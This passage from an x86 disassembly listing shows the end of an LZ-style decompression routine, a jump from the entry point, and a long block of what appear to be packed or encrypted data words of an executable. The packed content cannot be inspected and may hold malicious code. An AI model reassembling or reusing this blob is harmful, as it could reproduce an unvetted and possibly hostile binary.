		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E3205:				; CODE XREF: sub_4E311B+E3j
		jb	short loc_4E31F1
		cmp	eax, 7D00h
		jnb	short loc_4E3228
		cmp	eax, 500h
		jb	short loc_4E3223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E3132
; ---------------------------------------------------------------------------


loc_4E3223:				; CODE XREF: sub_4E311B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E322B


loc_4E3228:				; CODE XREF: sub_4E311B+F1j
		add	ecx, 2


loc_4E322B:				; CODE XREF: sub_4E311B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E3132
; ---------------------------------------------------------------------------


loc_4E3238:				; CODE XREF: sub_4E311B:loc_4E3153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E3259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E3132
; ---------------------------------------------------------------------------


loc_4E3259:				; CODE XREF: sub_4E311B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E311B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4E3265:				; CODE XREF: start:loc_4E3076j
					; start+9Dj
		jmp	loc_53B16A
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4E326A	dw 38E9h		; DATA XREF: start+77o
		dd 15635FCh, 8B21FCBAh,	0C8BB6A84h, 0AA42B871h,	2E24F2EAh
		dd 1BCAE10h, 8EAB1EE1h,	0FFFE1001h, 0EB11018Eh,	2CDB92BBh
		dd 3F084FAh, 0A533AC3Ah, 0F243B801h, 7F0CE578h,	3B892F9h
		dd 52C0BB46h, 61747365h, 41387273h, 3E2EBD70h, 0FD877078h
		dd 8D709891h, 5C11E475h, 455E7F23h, 0E015C236h,	6D656854h
		dd 6164691Ch, 0CD4BD721h, 35E65740h, 0F21AE103h, 6E843B22h
		dd 0C58B1CEFh, 0E860D487h, 815D8008h, 1B360BEDh, 95890706h
		dd 110D16A5h, 830B1B5h,	22B5D85h, 1449BD83h, 0C74010Eh
		dd 0E2C8E88Bh, 1EA5B1B8h, 4470F1C2h, 3F20C724h,	456A0C0Bh
		dd 6829A3E8h, 83749A1Fh, 0ADF283Dh, 894B250Fh, 85D5480Ah
		dd 2B0214E9h, 555E8ECh,	0C483EC8Bh, 5AEE60D8h, 0F944EA81h
		dd 0C7DA098Bh, 81BD845h, 89400E18h, 0FC7D8108h,	741DC680h
		dd 87F200Fh, 45638333h,	43120CFFh, 0DC36E1EBh, 8226616Eh
		dd 8004C2C9h, 7CC48146h, 4902D1FFh, 3742C4h, 8B80458Dh
		dd 0C708145Dh, 50441985h, 0D10AA08Dh, 18880AC3h, 8A0B8941h
		dd 2006BD81h, 0E375295Dh, 0BA8D4227h, 75C0648Eh, 0BB0E8A80h
		dd 5BF449h, 5437ABB8h, 0FCD0D378h, 4B08C30Fh, 0AFB0F775h
		dd 465247C3h, 2A46464Ah, 0D12B42F9h, 0D0A08A61h, 8AFDF075h
		dd 4DFC45EEh, 0AD04EB0Ah, 80468C3Ch, 53F7403Eh,	346E84BAh
		dd 0EB0C7D61h, 0F83E907Fh, 0F0126DCCh, 0F40ECA84h, 0C14A8110h
		dd 4004F065h, 0E0D1F8D6h, 60C20339h, 8ADB3328h,	80301C1Ch
		dd 0A72CCFBh, 773D390Ah, 0F2EB3E05h, 61142267h,	7F0A0DF6h
		dd 1E086F66h, 0AC34E5Fh, 411A10ACh, 0A0B7230h, 0DE067746h
		dd 118A224h, 0F4ECF05Dh, 1B7D7383h, 0CB07202h, 0A576C037h
		dd 4126AA66h, 8D07CEF8h, 3B00A86Ah, 820FFC55h, 0B0BDA978h
		dd 38BEAAC1h, 0E008BA50h, 0A870E0B9h, 4088BDFCh, 0F02FE38h
		dd 0FA754947h, 6A36E1B9h, 7D01BBDCh, 82F11D31h,	6002B7EBh
		dd 3A7A868Eh, 51081C0Eh, 0D1360F65h, 268A3B77h,	10F9E9C4h
		dd 31105359h, 0EA110B81h, 490B8006h, 2FE1175Fh,	0C012F65Ch
		dd 0E4AFBD17h, 3948C0D1h, 83007621h, 0FEABA502h, 393CC97h
		dd 0BC67C32Ch, 7230F268h, 0C881D4F1h, 728CF8C2h, 34CB38DFh
		dd 39820077h, 0F765B4Eh, 510FB810h, 8ED1043Dh, 7246CC3Bh
		dd 2E093A75h, 480E11B0h, 6528E4ECh, 84FA5490h, 8E05C506h
		dd 47FF8D96h, 0C2048553h, 718C2940h, 0DBE78205h, 0FFB3AC0Eh
		dd 77812B0Ch, 11D2204h,	0F984C134h, 90207533h, 76773FBCh
		dd 30EF670Ah, 0EC413302h, 9F7F8C89h, 4090FFCCh,	0E9EA45CFh
		dd 0C4625060h, 4D8C5200h, 0AA821125h, 0ABCD84B1h, 1308845Ah
		dd 0AE5A656h, 98EE825Eh, 0FF06A881h, 0B9EA8A13h, 14231388h
		dd 0A44397h, 0FE8BDFE9h, 0DA1E8D67h, 0E29F5C51h, 52016B41h
		dd 318704E9h, 26C45A21h, 0A1818C8Ah, 1E089845h,	524221h
		dd 0D7BFB0C4h, 5749693Fh, 0AB438228h, 0F9EEF000h, 8610CA0Bh
		dd 0F633C935h, 0C8A1C383h, 982206D1h, 0B41D02BCh, 30EA3437h
		dd 0CCBF000Fh, 13E9A306h, 400080A6h, 337E2196h,	387CABh
		dd 42B112A1h, 78E02274h, 5CD98B14h, 607F9030h, 0EE2BCB50h
		dd 868A0D6Fh, 0F020235Eh, 9C129AD4h, 6B062639h,	2020A620h
		dd 0E9522F12h, 0AB7F01A1h, 0C0F7C960h, 3B0DB9F8h, 88005915h
		dd 82192B8Ch, 6661EAC1h, 0BF2ABAC1h, 831A57C4h,	9F4600EDh
		dd 1D728258h, 8C0F3AEAh, 20FA8B11h, 0C7B205C3h,	0EE812830h
		dd 1AEB06B8h, 1E71DEDDh, 32EC1000h, 8ADCB254h, 0E9841E11h
		dd 0C373FF03h, 49DF8B5Bh, 639F448Dh, 245C84B5h,	1CC508B1h
		dd 5903BC80h, 91EA61DDh, 7281009Ch, 0C79D39CEh,	1CBF1B1Dh
		dd 0EF756000h, 1323EB63h, 40A6EA68h, 597C66E1h,	74004FDAh
		dd 0B3CA1E25h, 1C0ECDh,	45F29210h, 4107EEE6h, 0D95CF1Dh
		dd 17D71B3Ch, 0D235E008h, 52840026h, 3EC43B7Bh,	3000D80Bh
		dd 8E0E4D29h, 746A167h,	0EFFE8C78h, 8342A009h, 5C033960h
		dd 0C1164FEDh, 0A06103EBh, 0F5507563h, 324032E2h, 69C00E79h
		dd 6F3F9267h, 47DC07F3h, 0E0655B7Ah, 0BCC26D4Fh, 0CC0056EAh
		dd 0C69050BEh, 0D22190Fh, 43ADDE48h, 7D6F041h, 0E9180460h
		dd 30652B62h, 0E678FECFh, 0D300E7F8h, 91A79F30h, 54B0A9h
		dd 0C4D55B18h, 0F09C4C82h, 2C844B54h, 87338B00h, 81B132Ah
		dd 1805006Fh, 0A11128Ch, 1ACE440Eh, 0D9FA6C2Bh,	6B6101F4h
		dd 0BE1AB1B6h, 49A2F8E2h, 0C3268B0Eh, 0E0FD6FBBh, 75F5D19Fh
		dd 38B1D116h, 5F928D00h, 7AA25852h, 7732D203h, 4CF03Fh
		dd 0F59DEB21h, 0A04AB06Ch, 0DBFE7901h, 0F32A97EAh, 3C38187h
		dd 59264055h, 0CD7E7150h, 8190513Ah, 6BCA7F2Fh,	0C8411154h
		dd 0AC404BF1h, 6046C4F8h, 26CCD015h, 0C6141007h, 78A00347h
		dd 9884F00h, 7ACAA22Dh,	0A4FA54CFh, 8AE0011Bh, 73F88CABh
		dd 25B1F33Ch, 2F002048h, 39502163h, 0CE10183Fh,	67566110h
		dd 19FE0EDh, 0CB56980h,	86E5023h, 6D584E59h, 0EF4D1DAAh
		dd 5CC8F9B0h, 63360A31h, 0FEF83A0h, 3D00AB82h, 0B50A5041h
		dd 0FC7913E4h, 0A8AC7412h, 90F6E700h, 0C71AAFFEh, 167C6F68h
		dd 0B40A184Fh, 38F77250h, 1B8C381Eh, 5047281Dh,	180A8CF2h
		dd 815891FEh, 0B0A8F92Ah, 0E0004536h, 8EBDCAADh, 1A5629Dh
		dd 0FA7BC147h, 0DF36D064h, 0E777810h, 15D8910Ah, 0F40C81F4h
		dd 0D4A7A068h, 0C500421Bh, 52CFBF53h, 30AC73E8h, 30A05760h
		dd 13609FDEh, 0A4F89340h, 380F4936h, 0E8737283h, 3EE407A5h
		dd 0A1F5B667h, 0A461B700h, 0C04D3C9h, 42431DC8h, 0DA2F02B8h
		dd 19E0CA68h, 0F062C316h, 0A0F4CF31h, 0F1BFAD84h, 0B23E1D94h
		dd 629273A1h, 3FCE9108h, 7C4702F8h, 0E8A03AC4h,	3388736Ah
		dd 9C1788C1h, 18A4059Eh, 947406D7h, 85F24068h, 0F02A17F6h
		dd 2600A851h, 0C1D3462Ah, 3939A787h, 98800358h,	0B0C98425h
		dd 0B8EA6FECh, 65406A60h, 6E9083CAh, 9429681Eh,	0A3C43010h
		dd 1841DD30h, 0D517CEEh, 5D2B33ADh, 0A473F469h,	48809F30h
		dd 503D2806h, 39E489Ch,	8C79C5CCh, 50770246h, 0B63A607h
		dd 5340ED7Bh, 0AF1898h,	4DE3B6B5h, 0EB393C32h, 300A3A00h
		dd 0A674D87Ah, 0EDE20022h, 0E91B018h, 17E8D971h, 6DF79D00h
		dd 0D855D212h, 0F85A3C19h, 3F277609h, 38D96481h, 64B5D85Bh
		dd 0AE74F203h, 0D090DA22h, 13FEC4h, 392C0DEh, 0A717AFA8h
		dd 61B07100h, 1663B67Ch, 59C909Fh, 186C400Bh, 0D7800731h
		dd 65F88C76h, 0F02A52h,	0D4B76280h, 0FB35F379h,	488C7630h
		dd 6B8AC892h, 8771320h,	12091704h, 0CE0C86C7h, 74501211h
		dd 919820F9h, 7360F63Ah, 4468EE11h, 30E8306Bh, 0EBC68C49h
		dd 6C0300B0h, 0DAC418DCh, 0D71002F0h, 4C74A46Fh, 2208C887h
		dd 2C420B5Fh, 0C416BC40h, 0FB9EC60h, 0C073BCA4h, 0E921C828h
		dd 0C6180AE3h, 0F5301487h, 81196479h, 0D214C8F0h, 83CD8038h
		dd 0BCA12F25h, 15B2E0F3h, 187C2C5Ah, 4219121Eh,	32E0835Ch
		dd 0CB679B00h, 0C25501DAh, 924FEBEAh, 3828308Dh, 843FC626h
		dd 132E98Bh, 1C71F524h,	20513C42h, 0AC8DD678h, 4BA81100h
		dd 2148671Dh, 27DD1370h, 6B380496h, 88FD43FBh, 0CA391747h
		dd 9CA111A3h, 20A3C48h,	2F8674Fh, 0C3CE92C9h, 0FE479468h
		dd 7B1C9454h, 32F9020h,	9B6A9D4Fh, 100926F8h, 91CB169Ah
		dd 0DC48CF08h, 7D6200A3h, 97756DA2h, 9613B345h,	5030AF73h
		dd 787C9h, 3736F7A3h
		dd 4F036A7Dh, 540CB00h,	0CC67B0E5h, 2094597Bh, 0D5C55403h
		dd 90874FF7h, 0C88AFEB7h, 6650A1C3h, 4E7900F6h,	8FCEC3C2h
		dd 0B628A20Ah, 5820F4BFh, 0F0DF04EFh, 86E7629Ch, 89224910h
		dd 0F63914A4h, 6728506Eh, 0F710FD98h, 0F268028Ch, 0C3082C38h
		dd 7C0F842Ch, 520D198h,	0B077CC0Bh, 0FF099092h,	850FAAC4h
		dd 0F052FBD4h, 0E73D1C44h, 7C84C45Fh, 42BF0574h, 0A4704801h
		dd 18826D14h, 608BCE94h, 0E4E330CBh, 230603FCh,	0F608C310h
		dd 88CD4810h, 0E6280A30h, 502968E7h, 0FD0A906Ch, 3601308Ch
		dd 56FC83F0h, 0F049C901h, 8634A477h, 8004E8FAh,	0FCC92E70h
		dd 0C1F3F130h, 98BF5449h, 0A24C3080h, 2B236F09h, 4E0C18CAh
		dd 0FF61810h, 7471881Eh, 68A18066h, 81557B28h, 0AC22D7h
		dd 8E7EE1EFh, 3B7AE56h,	0BADCA59Dh, 3C0EA50h, 0D3584707h
		dd 827E10ACh, 41DB9850h, 47BC2004h, 0F8348141h,	7419C1EFh
		dd 0E041CFA8h, 0E320D630h, 0BFE52C14h, 186308C4h, 0A406441Dh
		dd 1CF8F8D2h, 0D98C7004h, 0C892504Bh, 0EF80304Ch, 5B603173h
		dd 105DCE19h, 918CFE46h, 1978B298h, 0B4E754CBh,	9EA2040Fh
		dd 899F1897h, 0CC441094h, 16E408BFh, 411FECC1h,	46448B06h
		dd 92F07368h, 0C02A7714h, 3E334F21h, 3100B8E4h,	0DE86397Ah
		dd 1FF0F76h, 0C73AF09h,	0ED43B9E7h, 0B5C20F0h, 602A80C4h
		dd 88FB059h, 50A3104Ah,	0A4210410h, 184008AAh, 0EECD16B1h
		dd 76F579C2h, 2904409h,	2468EBA2h, 0F46B70B6h, 0B2CBE903h
		dd 0DE9A9C78h, 0AF141F10h, 715BDAFEh, 1203F041h, 4C52D7h
		dd 0AF95FA4Dh, 0B2D2B5DCh, 50B70400h, 794A7D9Bh, 0F2497124h
		dd 2B032E87h, 69024090h, 0B10080FEh, 0D84440E4h, 74D2625h
		dd 0FF31837Dh, 0C055091h, 0D94CF9DFh, 682108Ch,	1252E41Eh
		dd 4E309067h, 0A1DEC916h, 2AD16601h, 0C8BA2CA2h, 28D4FBA8h
		dd 0F4C14Ch, 6EEE58Dh, 1510A373h, 3B90BD80h, 8C8DBD6h
		dd 47B8CF24h, 0A579D032h, 6B6B08FFh, 0F700260h,	20100D24h
		dd 79C5E724h, 9048EFDEh, 40184405h, 81EAE709h, 8938006Eh
		dd 40247430h, 4F0DDAF4h, 2870BD14h, 402E8830h, 4B0CEEFh
		dd 0FDA04262h, 0C8F89391h, 0B129C4A3h, 0EAD208A0h, 24743A0Eh
		dd 68A480CAh, 0F4054533h, 0EF805878h, 8549C053h, 0FD2F0F1h
		dd 0EEAE300h, 28384436h, 0BCC20016h, 70081991h,	0B40380C7h
		dd 719B47BDh, 8841B4ACh, 834B3603h, 44ABEFE8h, 0C2183764h
		dd 0A5A7C0F1h, 0CC004C28h, 0F816091Ah, 3CD70A8h, 25D6F44Dh
		dd 0FDC0ACCBh, 3C022CDCh, 0ECA3CC18h, 0F56F0033h, 36269ED3h
		dd 0C808643Ah, 16440213h, 0B8ABECCCh, 0A810FC07h, 0B45960Eh
		dd 0E20010D6h, 4A7282h,	892691CEh, 2E60D56Eh, 45A11B01h
		dd 57C62A3Fh, 72739057h, 70DFD8F2h, 8AB62402h, 6B510410h
		dd 334B207h, 5DAFC9C2h,	0E85CE24Ah, 60F04F84h, 0C263F160h
		dd 3739786Ah, 0B6C489B1h, 62DC260Ch, 6B411D50h,	0DE3A41BDh
		dd 0CDFD18E3h, 0E4A9E8B7h, 0BEE11F00h, 3104F208h, 9104A509h
		dd 7998009Eh, 0FB2DF063h, 22AB1F7Bh, 862CC3FEh,	1903AAB1h
		dd 1F84B404h, 0B8400F03h, 2F832B87h, 4AF97AFDh,	75ECD812h
		dd 3CD081Fh, 8A8BBFEh, 3CF6FC8h, 4F17AB7Fh, 0E50A5818h
		dd 80349168h, 720783Fh,	996E00C5h, 9784DC50h, 280EF682h
		dd 401A59A8h, 2A51AF24h, 0A10106C8h, 80CDB687h,	7C54231Eh
		dd 10C5480Ch, 0D9FF1496h, 0C1287408h, 38742C84h, 0F743ED3h
		dd 0CD487D03h, 0AB816AC1h, 3089B8A1h, 0E4B5E105h, 62990F30h
		dd 0F34598B4h, 393001B7h, 864A907Eh, 6AEC7F88h,	38056160h
		dd 8FB523A8h, 956D81C8h, 33DB0C08h, 37B09003h, 81419746h
		dd 5702AE35h, 6390CCC4h, 1BBEA944h, 79448777h, 89B7EAC0h
		dd 21A56331h, 0B5462309h, 0E3700AE9h, 85189F77h, 43A6919Eh
		dd 7A589E0h, 267122h, 0BCB7DEE1h, 0CD587587h, 2E287C06h
		dd 40D0FDA6h, 41C1AEDDh, 1B7A7063h, 0A6DA2024h,	3B123B0h
		dd 0A316260h, 3B052946h, 0C1860AF8h, 1A08024Ch,	0A081F3BCh
		dd 819FDDDCh, 0EF3864D1h, 87D12816h, 251CD0h, 2C8272B6h
		dd 0EBFD7ABFh, 91F74D30h, 30C1FAF4h, 7C11F97Fh,	1205EB2Eh
		dd 65B035E4h, 1006D04Ch, 0F1FE30AEh, 3E289B28h,	2252BF05h
		dd 0D0429889h, 0B4F748E0h, 0F53D3228h, 289C0318h, 30C42604h
		dd 94842253h, 11379440h, 1DFF3A38h, 50AB214h, 40077918h
		dd 0BEBC82A4h, 0BD56FA24h, 71398040h, 60FE7618h, 0D86D3830h
		dd 0FD017F70h, 3DFB9B83h, 2F20568h, 4C4A857Ch, 1B69CA8Dh
		dd 0AF35823Ch, 3DA4A169h, 3C22D1B7h, 467FB40Eh,	5BBC3494h
		dd 7FD2E085h, 6F0AD50Dh, 0FB84A806h, 0C33DD130h, 7C1C0112h
		dd 0DA9DEAFEh, 4A4847CBh, 1BBDD9BCh, 0D030C13Bh, 0A6043061h
		dd 0F8810890h, 0C8A85325h, 231339C6h, 0B05FB48Ah, 78A9CE99h
		dd 0EBC908h, 3BB10C76h,	71607B18h, 68056F89h, 3D298100h
		dd 0E94E1902h, 24B135DDh, 47700091h, 0F47B72BBh, 10AD3518h
		dd 3EE58681h, 6B29380Ah, 0BCCF9420h, 89CDB86h, 8CD50512h
		dd 3A9C09h, 459230A0h, 67043CFDh, 91008EAh, 2400FBE6h
		dd 2EAF07CFh, 974EE13Eh, 250021B6h, 1B627017h, 57B700E6h
		dd 9DF0D76h, 4AFA7786h,	58DE000h, 0D88A7420h, 0CBAF0029h
		dd 4DFD98B8h, 0A800BD12h, 1F8C83E9h, 1686BE21h,	0ACABD0h
		dd 49320B31h, 40C13BE4h, 24DD8876h, 0F698EE00h,	0ECF9A000h
		dd 5E87C3A8h, 0EA340717h, 900D7794h, 320CF147h,	8C9F7A01h
		dd 88896A02h, 10AF4EE8h, 3A51EC22h, 39E96FFh, 40F807Dh
		dd 1F8D5FBh, 7052BBC7h,	0D820F9A2h, 685600E6h, 4FB2340Fh
		dd 9E000CB9h, 1C0DBF2Eh, 3AA649h, 897D1FD4h, 200168DEh
		dd 4C40B867h, 0C5DDB750h, 189A0048h, 8594E731h,	3300CC76h
		dd 20576F7Ch, 0DAEBC3h,	1E5F11Dh, 0B81FAF5Ch, 0C46E4C3Ah
		dd 5F4803EBh, 94BE371Ch, 29A73B8h, 97F14Ch, 96F6A63Dh
		dd 7E5ED54h, 1F01270Eh,	0A36E207Ah, 0D80BB72Ah,	89608DE9h
		dd 32380415h, 80AE948Bh, 0FA57EC35h, 0BD220049h, 8548E9A3h
		dd 0E1003718h, 0CC6FF294h, 78147h, 0F9E03C1Ch, 0EF744DDFh
		dd 0FC4E9A00h, 6D4FB8C8h, 0F0FEB5h, 688317DEh, 29753421h
		dd 0B3608201h, 38B08404h, 7CDFF0ECh, 0EE7F0CD5h, 0B6406896h
		dd 0B2F85110h, 8217D400h, 7539188Bh, 0A764F00h,	4A782D98h
		dd 9C3C0040h, 7F1D083Ah, 4E01DDDFh, 51E5F2FBh, 0C7FCA104h
		dd 85C202DAh, 0A3390E8Bh, 405D8CCDh, 0E1C6F80Ah, 4DF79807h
		dd 0E760BD2Dh, 70F9654h, 0A694A3E5h, 7B007807h,	8C9D3B33h
		dd 325500D9h, 0AF4DDDF1h, 5300E134h, 0F8FA6E6Dh, 58C4DEh
		dd 0E9251786h, 9FAF7557h, 4A7B0100h, 0FC973D14h, 903C72D5h
		dd 26900CAh, 0F552B5F3h, 0C300FDB3h, 5B48DBF1h,	0B2E625h
		dd 0CD06A494h, 164BF234h, 0FAE07800h, 8DEF2908h, 35243E01h
		dd 70500E89h, 0DDF9F800h, 210087C3h, 8DE3371Fh,	0B0B1AF86h
		dd 0F37244ACh, 8014DD7Fh, 918898EEh, 0FBBF04h, 0EE73406Bh
		dd 754881h, 9F7487D7h, 0E10486F8h, 0A8340852h, 5DF000EEh
		dd 86D5D298h, 87F29D63h, 28E62405h, 1C706819h, 0C021617Ch
		dd 23B77F10h, 0FD0F2F36h, 2B919D24h, 723CE1C4h,	5E74F2E8h
		dd 29044019h, 9A8AC96Ah, 2D28360Ch, 0DF110984h,	80629C21h
		dd 0B48CD11Fh, 1BF203CBh, 8902DCBEh, 72E5263h, 0AF217F09h
		dd 7C25E846h, 0BD980660h
		dd 307867D8h, 0A1B1F44Bh, 11FA88AFh, 5523FD02h,	99B06C6Eh
		dd 0CC02BF1Ch, 3600DCDAh, 0C39BFFA6h, 1FF9F301h, 65CEB85h
		dd 59F67B80h, 70711207h, 0CD377DECh, 34F075E5h,	3721C711h
		dd 0D251D079h, 0B200A13Ah, 0ED637B98h, 373603ACh, 4FC8FA9Eh
		dd 84A9DAA0h, 0C84AF7B1h, 88717088h, 8E02CE6Bh,	33CF77EDh
		dd 30B48021h, 9E60761Ah, 3B81032Ch, 503225EAh, 3082A8E9h
		dd 0EA10706Bh, 35E0407Dh, 831C7073h, 8507E962h,	74034CECh
		dd 4658195Ch, 0E0EDA91Ah, 186096ABh, 0DFB19C10h, 7B0CAC0h
		dd 39740F0h, 50F7DC6Bh,	0B7E9D1A4h, 0FC05655Bh,	0CCF0B208h
		dd 5C92BCh, 0EFB7D1ECh,	64569570h, 0FB07F00h, 0EDB1B46Ch
		dd 0E1810E63h, 9BC362CFh, 607728F6h, 0B7D0048Ch, 38BF3A6Ch
		dd 0B7D800F1h, 0AAE928BDh, 230132D1h, 7E3677AEh, 217559h
		dd 2E88EC0Eh, 0DF3525C0h, 0FC93F8FEh, 62EB0158h, 0CAE18264h
		dd 7CF88357h, 0A9A8F19h, 1C61B1B8h, 2B8208A8h, 49799803h
		dd 83FBA874h, 3F1F41Dh,	2393A7C3h, 0E1093084h, 50656A38h
		dd 7C48E9FCh, 6BB708EBh, 0BDC4D73Ah, 0B7D3805Ch, 3D8E3858h
		dd 64C7FF24h, 1193923Ch, 6B372000h, 5B6C876h, 3665CCDEh
		dd 7B484396h, 0A8BED65Bh, 127CD900h, 5E15FF37h,	557503B2h
		dd 0E059753h, 10F3B90h,	0FB316204h, 0F4986EF2h,	84C90850h
		dd 15C4869Ah, 0C968BF40h, 0B1121BBBh, 0ECA0D76Fh, 85801432h
		dd 0E07CC38h, 0BCF1ABBDh, 39C70488h, 9A375DFh, 0B035F05Bh
		dd 6119C528h, 86D040FBh, 0DA8B0FDCh, 1A178018h,	0DD5F21h
		dd 2DECBF79h, 652B034Dh, 0F48C9400h, 0D381716Eh, 0B7DC2A64h
		dd 121000A0h, 3F4D6127h, 5008BC7h, 0B4716FD6h, 6147C33h
		dd 0DBA8EB88h, 10031C0h, 0F51122CBh, 0F79182h, 3D87C9E1h
		dd 0C167BA2Fh, 581BE703h, 0EA9B0781h, 0D1B4A01Dh, 4CB143CFh
		dd 0F8104831h, 35F50F23h, 6B9B8AEh, 0CCB32691h,	0FF2A8180h
		dd 8CEB8722h, 291D1A79h, 0B6B901F9h, 2FB2A064h,	0BA9520F6h
		dd 4DA6370Ch, 99CA581Dh, 3BD820E0h, 1160DAD9h, 6D448924h
		dd 19EE7B3Bh, 300983F6h, 813921BFh, 1C5C5607h, 3F883027h
		dd 43F6C669h, 0C8492A25h, 86D22BD0h, 0B071726Ah, 66807B11h
		dd 987DE970h, 0B048CE4Ch, 73706E38h, 24E01E2h, 0BE9D74C3h
		dd 2ADBC5E0h, 0B240745Fh, 0E5F0EA35h, 67B93B28h, 25824081h
		dd 0E0640A7Fh, 6E099A29h, 356B18Ah, 50152A54h, 8C7354A8h
		dd 9AD66D50h, 9D543E49h, 65C40062h, 76D7C6C9h, 0B77A99EAh
		dd 4C3D7F26h, 4D7A4500h, 91D60F9h, 0AD355521h, 4B0EC05Ah
		dd 1B7E56Eh, 2013CF76h,	5529DC33h, 80D491C4h, 7B6C448Ah
		dd 221F4376h, 82430032h, 0B32D1044h, 0AA027E1Ah, 13A93C6Ah
		dd 0CCBC85DDh, 265C34E4h, 838523Dh, 0E9011DDAh,	33F38745h
		dd 4C5D0034h, 8610E854h, 0FA6115F2h, 996F05C0h,	2980794Dh
		dd 9E89D0Ch, 0F743B071h, 227C0080h, 7E263A78h, 1D87A013h
		dd 58BC1B7Fh, 0F3030A6Ah, 80D4C1DBh, 38BE1C63h,	0D40016E4h
		dd 9128762Bh, 7D1294B9h, 0FEAB1868h, 0DDD6802Dh, 0E7CFC4Dh
		dd 0A0A1C7A0h, 547E390Fh, 23F6025Ch, 1417838Ah,	0EB24CCA3h
		dd 0BAB99E00h, 59B2CA05h, 0E8A0E79h, 0F0925B3Dh, 2013B8D8h
		dd 0A008914Dh, 0B7EDC067h, 0E7433A71h, 0B7D5F080h, 6978376Eh
		dd 70BAD77Fh, 0CB187F04h, 98C088F3h, 5429A492h,	1C2A78FBh
		dd 7B7848h, 9F3C1603h, 0BA01BC39h, 5F96F66h, 0F2F48402h
		dd 7D7E1437h, 0CC40A03Ah, 601D415Fh, 5A4C5068h,	9060CE04h
		dd 8C775C50h, 83C95104h, 0C0385E9Ah, 0DC96900h,	62AEB2EEh
		dd 74D03AA7h, 5B919C02h, 0B8622E2Bh, 58681341h,	0B708E68Ch
		dd 0C4EF3A66h, 0CEEB42BBh, 0A58380B7h, 0D678BCFh, 0B5DB8025h
		dd 0E832C021h, 0D607E3FCh, 0FE57AA63h, 0C0C0F45Ah, 84D752h
		dd 0DB7E782h, 99634BC5h, 0D27D7F09h, 74C487F7h,	356CD570h
		dd 751926E2h, 8972405Ch, 20D44518h, 0D7B0FC0h, 0C301319h
		dd 27167Dh, 0D043DD7Ch,	3E17ACB6h, 38D23758h, 4B9DCC6Ch
		dd 0C5BE30C0h, 19BD14F2h, 5063072h, 0A840125Bh,	19F87C30h
		dd 0E862FD10h, 0AB7F00E3h, 2C26708Dh, 2803EB4Eh, 0F4F316D6h
		dd 38A4F4C1h, 380B48C7h, 0B3D77D04h, 1F0CED2Fh,	3854AF7Eh
		dd 6558C8F4h, 1ADC43AAh, 7EC9F1B3h, 2025E371h, 9FB0E8DAh
		dd 0C1C700B6h, 344C69A4h, 0C404F8DFh, 38BDB6Ch,	919D4090h
		dd 8D64C73h, 1E19740Ch,	5100C159h, 89B34E46h, 2569075h
		dd 0D5816EF7h, 8C895323h, 803A7085h, 0FE0682F4h, 1020264Ch
		dd 0A0B1BF6h, 0F8A97BA8h, 60D25C04h, 23524484h,	2F11A67Bh
		dd 447C3D07h, 0FC2AB355h, 9553DDA8h, 35F82903h,	3D2201A6h
		dd 46926AE8h, 8914443Eh, 10E8BC4Ah, 750005ADh, 0F53EF2C2h
		dd 0AE193A03h, 55382051h, 0B4614461h, 0A3104432h, 927FC8E1h
		dd 0C7B4F4DDh, 5891F400h, 799C92BBh, 90B0B24Bh,	81600270h
		dd 0F3FD8FB3h, 3CAA8084h, 87048CD3h, 7E7B6F44h,	4A203062h
		dd 67447Fh, 70E75A41h, 0AE4E2036h, 131A7315h, 5C1E07D0h
		dd 0BA1083EAh, 2094D3h,	0DDA484F7h, 913D49C6h, 0FF916C64h
		dd 499E7C05h, 60455F8Ch, 0E36029C4h, 0B514DA5Ch, 92987841h
		dd 4C35DCE4h, 9E803434h, 3CAB7BE7h, 0FB4BC4BAh,	1523E82Eh
		dd 0A50B4700h, 48187C74h, 358968A1h, 311444F2h,	10E4A2EEh
		dd 0E90944B6h, 4C908323h, 0EF1949B4h, 6D802E62h, 0C9085318h
		dd 0CE8E9A91h, 6BC200D1h, 2E4BA2C9h, 0BFC802FCh, 250D5506h
		dd 28FDC8E1h, 0AC35C47Ch, 758934A4h, 7A4215DBh,	7E009C23h
		dd 5884EF91h, 0CC007D65h, 0EA2F2D15h, 8151E2h, 0AFB40A9Dh
		dd 0BC2AE75Dh, 87A11604h, 0F880D9DDh, 4234D8Ah,	44463A22h
		dd 0A25C8009h, 5C9AB6DCh, 2025A800h, 0DE64E995h, 6CE00037h
		dd 5038802Fh, 0D490746Fh, 0C1304990h, 0EE0AB833h, 38B4006Ah
		dd 0AFB7F267h, 0CED32EFEh, 0C723742Fh, 39FC9600h, 0EFCC98h
		dd 8FD1583Dh, 0A97FA064h, 19C08D64h, 6D34A4h, 99C97A12h
		dd 0C8665D9h, 7B45BB01h, 0C0E5EF82h, 17118C4h, 338948B8h
		dd 74377E36h, 5056214h,	63799AFFh, 0B8E1B844h, 8154084h
		dd 64F20668h, 71151Ah, 0BBD47918h, 0FCA7BEFAh, 0DB0E4DE2h
		dd 1924E5h, 70CCAADDh, 68515C38h, 0F6E63B08h, 8B919E02h
		dd 902C58B3h, 29E52018h, 7518999Fh, 10BC503Ch, 98FE0C8Ch
		dd 94B102DDh, 500EEAEEh, 20B9CD57h, 0ABE0F069h,	0CF741317h
		dd 0C93C20DAh, 0A03E4CEFh, 5101B0D0h, 0EA33DDAAh, 96DF17A1h
		dd 0C25C4188h, 6075D883h, 48C64D0h, 3A72B7EAh, 20C862CFh
		dd 62B7D2EFh, 0F6E1D00h, 70F65818h, 363B257Bh, 0C80AD400h
		dd 8282D0B7h, 701402B8h, 0A468B148h, 0B81EDE70h, 57B6CB4h
		dd 20E08EB7h, 97FE78C2h, 821291B0h, 40D7F5C5h, 5CFA4C9Ch
		dd 6D139897h, 81D8921Bh, 11706C30h, 88487DEBh, 74328326h
		dd 0DDE05270h, 11B5420Eh, 0B04E47F0h, 4FC0C588h, 0EE5822D0h
